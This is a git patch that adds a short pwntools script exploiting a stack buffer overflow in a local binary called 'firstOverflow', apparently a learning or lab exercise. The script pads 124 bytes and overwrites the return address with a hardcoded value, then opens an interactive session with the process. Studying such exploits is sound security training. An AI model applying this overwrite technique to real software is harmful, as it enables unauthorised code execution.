From f0ab646faee5112c049ab2e46cc04022116e8540 Mon Sep 17 00:00:00 2001 From: Dan Goldsmith Date: Wed, 18 Nov 2020 16:50:12 +0000 Subject: [PATCH] First Exploit Done --- .gitignore | 3 +++ exploitFirst.py | 9 +++++++++ 2 files changed, 12 insertions(+) create mode 100644 .gitignore create mode 100644 exploitFirst.py diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..8f8f28c --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +*~ +peda* +.gdb_history \ No newline at end of file diff --git a/exploitFirst.py b/exploitFirst.py new file mode 100644 index 0000000..68bee53 --- /dev/null +++ b/exploitFirst.py @@ -0,0 +1,9 @@ +from pwn import * + + +payload = "A"*124 #Offset +payload += p32(0x565561dd) #Address +print(payload) +## Create a connection to the binary +p = process(["firstOverflow", payload])#payload], shell=True) +p.interactive()